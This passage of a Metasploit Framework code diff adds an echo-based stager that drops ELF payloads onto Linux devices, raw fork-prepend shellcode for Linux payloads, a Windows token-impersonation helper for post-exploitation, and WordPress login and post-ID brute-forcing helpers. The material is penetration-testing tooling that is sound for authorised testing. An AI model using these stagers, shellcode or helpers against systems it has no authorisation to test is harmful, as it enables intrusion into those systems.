# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices, and
# should work on either:
# * Systems with busy box's echo binary somewhere in $PATH.
# * Systems with bash/zsh whose echo builtin supports -en flags.
# * Systems with GNU coreutils echo which supports -en flags.
#
####
module Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
# Initializes a CmdStagerEcho instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerEcho.new(exe)
end
end
end

View File

@ -20,10 +20,16 @@ module Exploit::FileDropper
# @return [void]
#
def on_new_session(session)
super
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
if not @dropped_files or @dropped_files.empty?
return true
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
@ -58,8 +64,6 @@ module Exploit::FileDropper
true
end
end
super
end
#

View File

@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
new_str
end
# Returns the Path+Query from a full URI String, nil on error
def path_from_uri(uri)
begin
temp = URI(uri)
ret_uri = temp.path
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
return ret_uri
rescue URI::Error
print_error "Invalid URI: #{uri}"
return nil
end
end
#
# Returns the target host
#
@ -344,6 +357,13 @@ module Exploit::Remote::HttpClient
datastore['RPORT']
end
#
# Returns the Host and Port as a string
#
def peer
"#{rhost}:#{rport}"
end
#
# Returns the VHOST of the HTTP server.
#
@ -463,8 +483,8 @@ module Exploit::Remote::HttpClient
end
if datastore['RPORT'].to_i == 3790
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
extras << "Metasploit"
end
end

View File

@ -1,9 +1,5 @@
# -*- coding: binary -*-
require 'msf/core/post_mixin'
module Msf
class Exploit
###
#
@ -13,16 +9,14 @@ class Exploit
# network communication.
#
###
class Local < Exploit
include PostMixin
class Msf::Exploit::Local < Msf::Exploit
require 'msf/core/post_mixin'
include Msf::PostMixin
#
# Returns the fact that this exploit is a local exploit.
#
def exploit_type
Exploit::Type::Local
Msf::Exploit::Type::Local
end
end
end
end

View File

@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
require 'msf/core/exploit/cmdstager_debug_asm'
require 'msf/core/exploit/cmdstager_tftp'
require 'msf/core/exploit/cmdstager_bourne'
require 'msf/core/exploit/cmdstager_echo'
# Protocol
require 'msf/core/exploit/tcp'

View File

@ -696,7 +696,8 @@ module Exploit::Remote::MSSQL
tbl = Rex::Ui::Text::Table.new(
'Indent' => 1,
'Header' => "",
'Columns' => info[:colnames]
'Columns' => info[:colnames],
'SortIndex' => -1
)
info[:rows].each do |row|

View File

@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
end
if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
else
print_error "Cannot determine the plugin directory."
return false
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
else
print_error "Cannot determine the temp directory, exiting."
return false

View File

@ -11,8 +11,6 @@ module Msf
#
# written by corelanc0d3r <peter.ve [at] corelan.be>
#
# Version: $Revision$
#
###
module Exploit::Omelet

View File

@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
# Send negotiate request
sock.put(pkt2)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
sock.put(pkt3)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end

View File

@ -645,7 +645,7 @@ module Exploit::Remote::SMB
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/).each do |line|
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src

View File

@ -68,11 +68,11 @@ module Exploit::Remote::SunRPC
end
ret = rpcobj.create
return print_error("#{rhost} - No response to SunRPC PortMap request") unless ret
return print_error("#{rhost}:#{rport} - SunRPC - No response to Portmap request") unless ret
arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
err = "#{rhost} - SunRPC PortMap request failed: "
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
err << 'RPC did not execute' if arr[4] != SUCCESS
err << 'Program not available' if arr[5] == 0
@ -87,7 +87,7 @@ module Exploit::Remote::SunRPC
def sunrpc_call(proc, buf, timeout=20)
ret = rpcobj.call(proc, buf, timeout)
return print_error("#{rhost} - No response to SunRPC call for procedure: #{proc}") unless ret
return print_error("#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}") unless ret
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
@ -105,7 +105,7 @@ module Exploit::Remote::SunRPC
else err << "Unknown Error"
end
end
print_error("#{rhost} - #{err}")
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
return nil
end
return ret
@ -134,7 +134,7 @@ module Exploit::Remote::SunRPC
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
progname = progresolv(rpcobj.program)
err = "SunRPC query for program #{rpcobj.program} [#{progname}] failed: "
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
case arr[4]
when PROG_UMAVAIL then err << "Program Unavailable"
when PROG_MISMATCH then err << "Program Version Mismatch"
@ -142,7 +142,7 @@ module Exploit::Remote::SunRPC
when GARBAGE_ARGS then err << "Garbage Arguments"
else err << "Unknown Error"
end
print_error("#{rhost} - #{err}")
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
return nil
end

View File

@ -5,7 +5,7 @@ module Msf
###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak the telnet protocol.
# webservers.
#
###
module Exploit::Remote::Web

View File

@ -104,6 +104,7 @@ class Module
require 'msf/core/module/target'
require 'msf/core/module/auxiliary_action'
require 'msf/core/module/has_actions'
require 'msf/core/module/deprecated'
#
# Creates an instance of an abstract module using the supplied information

View File

@ -503,4 +503,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "python"
end
#
# Node.js
#
class NodeJS < Msf::Module::Platform
Rank = 100
Alias = "nodejs"
end
end

View File

@ -336,9 +336,9 @@ class Payload < Msf::Module
# Check to see if the value is a hex string. If so, convert
# it.
if val.kind_of?(String)
if val =~ /^\\x/
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
elsif val =~ /^0x/
if val =~ /^\\x/n
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
elsif val =~ /^0x/n
val = val.hex
end
end

View File

@ -19,6 +19,13 @@ module Msf::Payload::Linux
register_advanced_options(
[
Msf::OptBool.new('PrependFork',
[
false,
"Prepend a stub that executes: if (fork()) { exit(0); }",
"false"
]
),
Msf::OptBool.new('PrependSetresuid',
[
false,
@ -97,6 +104,17 @@ module Msf::Payload::Linux
# Prepend
if (datastore['PrependFork'])
pre << "\x6a\x02" +# pushb $0x2 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 ; fork #
"\x85\xc0" +# test %eax,%eax #
"\x74\x06" +# jz 0xf #
"\x31\xc0" +# xor %eax,%eax #
"\xb0\x01" +# movb $0x1,%al ; exit #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
@ -197,10 +215,8 @@ module Msf::Payload::Linux
"\xcd\x80" # int $0x80 #
end
end
# Handle all Power/CBEA code here
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
# Prepend
@ -277,9 +293,21 @@ module Msf::Payload::Linux
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
end
end
if (test_arch.include?(ARCH_X86_64))
elsif (test_arch.include?(ARCH_X86_64))
if (datastore['PrependFork'])
# if (fork()) { exit(0); }
pre << "\x6a\x39" # push 57 ; __NR_fork #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\x48\x85\xc0" # test rax,rax #
pre << "\x74\x08" # jz 0x08 #
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 60 ; __NR_exit #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
@ -389,8 +417,8 @@ module Msf::Payload::Linux
# Append exit(0)
if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 0x53 #
pre << "\x58" # pop rax #
app << "\x6a\x3c" # push 0x3c #
app << "\x58" # pop rax #
app << "\x0f\x05" # syscall #
end
end

View File

@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Inject Mach-O Bundle',
'Version' => '$Revision$',
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
'Author' =>
[

View File

@ -12,9 +12,21 @@ require 'msf/core'
module Msf::Payload::Windows
require 'msf/core/payload/windows/prepend_migrate'
# Provides the #prepends method
# XXX: For some unfathomable reason, the order of requires here is
# important. If this include happens after require'ing the files
# below, it causes the windows/exec payload (and probably others) to
# somehow not have PrependMigrate despite having Payload::Windows,
# which leads to a NoMethodError on #prepends
include Msf::Payload::Windows::PrependMigrate
require 'msf/core/payload/windows/dllinject'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/loadlibrary'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
#
# ROR hash associations for some of the exit technique routines.
#

View File

@ -16,7 +16,6 @@ module Payload::Windows::DllInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Inject DLL',
'Version' => '$Revision$',
'Description' => 'Inject a custom DLL into the exploited process',
'Author' =>
[

View File

@ -16,7 +16,6 @@ module Payload::Windows::Exec
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'vlad902', 'sf' ],
'License' => MSF_LICENSE,

View File

@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows LoadLibrary Path',
'Version' => '$Revision$',
'Description' => 'Load an arbitrary library path',
'Author' => [ 'sf', 'hdm' ],
'License' => MSF_LICENSE,

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -1,24 +1,31 @@
# -*- coding: binary -*-
require 'msf/core/post_mixin'
module Msf
#
# A Post-exploitation module
#
#
class Post < Msf::Module
include PostMixin
class Msf::Post < Msf::Module
require 'msf/core/post/common'
require 'msf/core/post_mixin'
require 'msf/core/post/file'
require 'msf/core/post/linux'
require 'msf/core/post/osx'
require 'msf/core/post/solaris'
require 'msf/core/post/unix'
require 'msf/core/post/windows'
include Msf::PostMixin
def setup; end
def type
MODULE_POST
Msf::MODULE_POST
end
def self.type
MODULE_POST
Msf::MODULE_POST
end
#
@ -39,6 +46,3 @@ class Post < Msf::Module
mod
end
end
end

View File

@ -1,12 +1,6 @@
# -*- coding: binary -*-
require 'msf/core/post/file'
module Msf
class Post
module Common
module Msf::Post::Common
#
# Checks if the remote system has a process with ID +pid+
@ -121,5 +115,3 @@ module Common
end
end
end
end

View File

@ -0,0 +1,4 @@
module Msf::Post::Linux
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'
end

5
lib/msf/core/post/osx.rb Normal file
View File

@ -0,0 +1,5 @@
module Msf::Post::OSX
require 'msf/core/post/osx/system'
require 'msf/core/post/osx/ruby_dl'
end

View File

@ -1,11 +1,6 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
require 'msf/core/post/file'
module Msf
class Post
module OSX
module System
module Msf::Post::OSX::System
include ::Msf::Post::Common
include ::Msf::Post::File
@ -108,7 +103,4 @@ module System
end
return groups
end
end # System
end # OSX
end # Post
end # Msf
end

View File

@ -0,0 +1,4 @@
module Msf::Post::Solaris
require 'msf/core/post/solaris/priv'
require 'msf/core/post/solaris/system'
end

View File

@ -1,8 +1,6 @@
# -*- coding: binary -*-
module Msf
class Post
module Unix
module Msf::Post::Unix
#
# Returns an array of hashes each representing a user
@ -83,6 +81,3 @@ module Unix
end
end
end
end

View File

@ -0,0 +1,15 @@
module Msf::Post::Windows
require 'msf/core/post/windows/accounts'
require 'msf/core/post/windows/cli_parse'
require 'msf/core/post/windows/eventlog'
require 'msf/core/post/windows/file_info'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/railgun'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/shadowcopy'
require 'msf/core/post/windows/user_profiles'
end

View File

@ -177,6 +177,71 @@ module Accounts
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token.
#
# @return [Fixnum] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Fixnum] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
buffer_size = 500
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
return nil
end
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
end
end # Accounts
end # Windows
end # Post

View File

@ -2,12 +2,7 @@
require 'msf/core/post/windows/accounts'
module Msf
class Post
module Windows
module Priv
module Msf::Post::Windows::Priv
include ::Msf::Post::Windows::Accounts
LowIntegrityLevel = 'S-1-16-4096'
@ -177,7 +172,3 @@ module Priv
end
end
end
end
end

View File

@ -2,22 +2,21 @@
require 'msf/core'
require 'msf/core/module'
module Msf
#
# A mixin used for providing Modules with post-exploitation options and helper methods
#
module PostMixin
module Msf::PostMixin
include Msf::Auxiliary::Report
include Msf::Module::HasActions
include Msf::Post::Common
def initialize(info={})
super
register_options( [
OptInt.new('SESSION', [ true, "The session to run this module on." ])
Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
] , Msf::Post)
# Default stance is active
@ -217,5 +216,3 @@ protected
end
end
end
end

35
lib/msf/http/wordpress.rb Normal file
View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
# This module provides a way of interacting with wordpress installations
module Msf
module HTTP
module Wordpress
require 'msf/http/wordpress/base'
require 'msf/http/wordpress/helpers'
require 'msf/http/wordpress/login'
require 'msf/http/wordpress/posts'
require 'msf/http/wordpress/uris'
require 'msf/http/wordpress/users'
require 'msf/http/wordpress/version'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress::Base
include Msf::HTTP::Wordpress::Helpers
include Msf::HTTP::Wordpress::Login
include Msf::HTTP::Wordpress::Posts
include Msf::HTTP::Wordpress::URIs
include Msf::HTTP::Wordpress::Users
include Msf::HTTP::Wordpress::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
], HTTP::Wordpress
)
end
end
end
end

View File

@ -0,0 +1,28 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
end
end

View File

@ -0,0 +1,122 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Wordpress login request
#
# @param user [String] Username
# @param pass [String] Password
# @param redirect URL [String] to redirect after successful login
# @return [Hash] The post data for vars_post Parameter
def wordpress_helper_login_post_data(user, pass, redirect=nil)
post_data = {
'log' => user.to_s,
'pwd' => pass.to_s,
'redirect_to' => redirect.to_s,
'wp-submit' => 'Login'
}
post_data
end
# Helper method to post a comment to Wordpress
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param login_cookie [String] The valid login_cookie
# @param author [String] The author name
# @param email [String] The author email
# @param url [String] The author url
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
vars_post = {
'comment' => comment,
'submit' => 'Post+Comment',
'comment_post_ID' => comment_post_id.to_s,
'comment_parent' => '0'
}
vars_post.merge!({
'author' => author,
'email' => email,
'url' => url,
}) unless login_cookie
options = {
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
'method' => 'POST'
}
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
message << " Status Code: #{res.code}" if res
print_error(message)
return nil
end
end
# Helper method for bruteforcing a valid post id
#
# @param range [Range] The Range of post_ids to bruteforce
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
range.each { |id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
return id if body
}
# no post found
return nil
end
# Helper method to check if a post is valid an has comments enabled
#
# @param uri [String] the Post URI Path
# @param comments_enabled [Boolean] Check if comments are enabled on this post
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
options = {
'method' => 'GET',
'uri' => uri
}
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
# post exists
if res and res.code == 200
# also check if comments are enabled
if comments_enabled
if res.body =~ /form.*action.*wp-comments-post\.php/
return res.body
else
return nil
end
# valid post found, not checking for comments
else
return res.body
end
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
end
return nil
end
# Helper method parse a Location header and returns only the path and query. Returns nil on error
#
# @param res [Rex::Proto::Http::Response] The HTTP response
# @return [String,nil] the path and query, nil on error
def wordpress_helper_parse_location_header(res)
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = res.headers['Location']
path_from_uri(location)
end
end

View File

@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
# @param pass [String] Password
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
# return wordpress login cookie
return match[0] if match
# support for older wordpress versions
# Wordpress 2.0
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
# return wordpress login cookie
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
# Wordpress 2.5
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
# return wordpress login cookie
return match_2_5[0] if match_2_5
end
return nil
end
end

View File

@ -0,0 +1,157 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Posts
# Posts a comment as an authenticated user
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param login_cookie [String] The valid login_cookie
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
end
# Posts a comment as an unauthenticated user
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param author [String] The author name
# @param email [String] The author email
# @param url [String] The author url
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
end
# Wordpress shows moderated comments to the unauthenticated Posting user
# Users are identified by their cookie
#
# @param author [String] The author name used to post the anonymous comment
# @param email [String] The author email used to post the anonymous comment
# @param url [String] The author url used to post the anonymous comment
# @return [String] The cookie string that can be used to see moderated comments
def wordpress_get_unauth_comment_cookies(author, email, url)
scheme = ssl ? 'https' : 'http'
port = (rport == 80 or rport == 443) ? '' : rport
# siteurl does not contain last slash
path = target_uri.to_s.sub(/\/$/, '')
siteurl = "#{scheme}://#{rhost}#{port}#{path}"
site_hash = Rex::Text.md5(siteurl)
cookie = "comment_author_#{site_hash}=#{author}; "
cookie << "comment_author_email_#{site_hash}=#{email}; "
cookie << "comment_author_url_#{site_hash}=#{url};"
cookie
end
# Tries to bruteforce a valid post_id
#
# @param min_post_id [Integer] The first post_id to bruteforce
# @param max_post_id [Integer] The last post_id to bruteforce
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_bruteforce_valid_post_id(min_post_id, max_post_id, login_cookie=nil)
return nil if min_post_id > max_post_id
range = Range.new(min_post_id, max_post_id)
wordpress_helper_bruteforce_valid_post_id(range, false, login_cookie)
end
# Tries to bruteforce a valid post_id with comments enabled
#
# @param min_post_id [Integer] The first post_id to bruteforce
# @param max_post_id [Integer] The last post_id to bruteforce
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, login_cookie=nil)
return nil if min_post_id > max_post_id
range = Range.new(min_post_id, max_post_id)
wordpress_helper_bruteforce_valid_post_id(range, true, login_cookie)
end
# Checks if the provided post has comments enabled
#
# @param post_id [Integer] The post ID to check
# @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
end
# Checks if the provided post has comments enabled
#
# @param url [String] The post url
# @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_comments_enabled?(url, login_cookie=nil)
wordpress_helper_check_post_id(url, true, login_cookie)
end
# Gets the post_id from a post body
#
# @param body [String] The body of a post
# @return [String,nil] The post_id, nil when nothing found
def get_post_id_from_body(body)
return nil unless body
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
end
# Tries to get some Blog Posts via the RSS feed
#
# @param max_redirects [Integer] maximum redirects to follow
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
vprint_status("#{peer} - Enumerating Blog posts...")
blog_posts = []
begin
vprint_status("#{peer} - Locating wordpress feed...")
res = send_request_cgi({
'uri' => wordpress_url_rss,
'method' => 'GET'
})
count = max_redirects
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
path = wordpress_helper_parse_location_header(res)
return nil unless path
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
})
if res.code == 200
vprint_status("#{peer} - Feed located at #{path}")
else
vprint_status("#{peer} - Returned a #{res.code}...")
end
count = count - 1
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Unable to connect")
return nil
end
if res.nil? or res.code != 200
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
return blog_posts
end
# parse out links and place in array
links = res.body.scan(/<link>([^<]+)<\/link>/i)
if links.nil? or links.empty?
vprint_status("#{peer} - Feed did not have any links present")
return blog_posts
end
links.each do |link|
path = path_from_uri(link[0])
blog_posts << path if path
end
return blog_posts
end
end

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::URIs
# Returns the Wordpress Login URL
#
# @return [String] Wordpress Login URL
def wordpress_url_login
normalize_uri(target_uri.path, 'wp-login.php')
end
# Returns the Wordpress Post URL
#
# @param post_id [Integer] Post ID
# @return [String] Wordpress Post URL
def wordpress_url_post(post_id)
